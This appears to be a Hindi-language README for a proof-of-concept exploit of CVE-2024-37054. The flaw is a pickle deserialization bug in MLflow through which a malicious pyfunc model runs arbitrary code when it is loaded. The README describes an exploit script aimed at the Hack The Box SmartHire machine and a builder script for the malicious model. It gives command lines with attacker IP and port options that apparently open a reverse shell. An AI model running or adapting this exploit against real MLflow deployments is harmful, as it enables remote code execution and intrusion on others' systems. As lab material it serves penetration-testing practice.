विवरण

CVE-2024-37054 के लिए प्रूफ ऑफ कॉन्सेप्ट, जो MLflow संस्करण 0.9.0 से 2.14.1 में एक गंभीर डिसीरियलाइज़ेशन भेद्यता है। जब mlflow.pyfunc.load_model() के माध्यम से एक दुर्भावनापूर्ण pyfunc मॉडल लोड किया जाता है, तो pickled पेलोड मनमाना कोड निष्पादित करता है।

फ़ाइलें

• exploit.py — पूर्ण शोषण: पंजीकरण, प्रशिक्षण, अपलोड, ट्रिगर (HTB SmartHire मशीन के लिए)
• build_model.py — स्थानीय रूप से दुर्भावनापूर्ण मॉडल बनाएं (केवल बिल्ड)

उपयोग

मॉडल स्थानीय रूप से बनाएं

python3 build_model.py --lhost YOUR_IP --lport 4444

पूर्ण शोषण चलाएं

# Auto register account and exploit
python3 exploit.py --lhost YOUR_IP --lport 4444 --atoz

# Use existing session
python3 exploit.py --lhost YOUR_IP --lport 4444 --session "eyJjb21w..."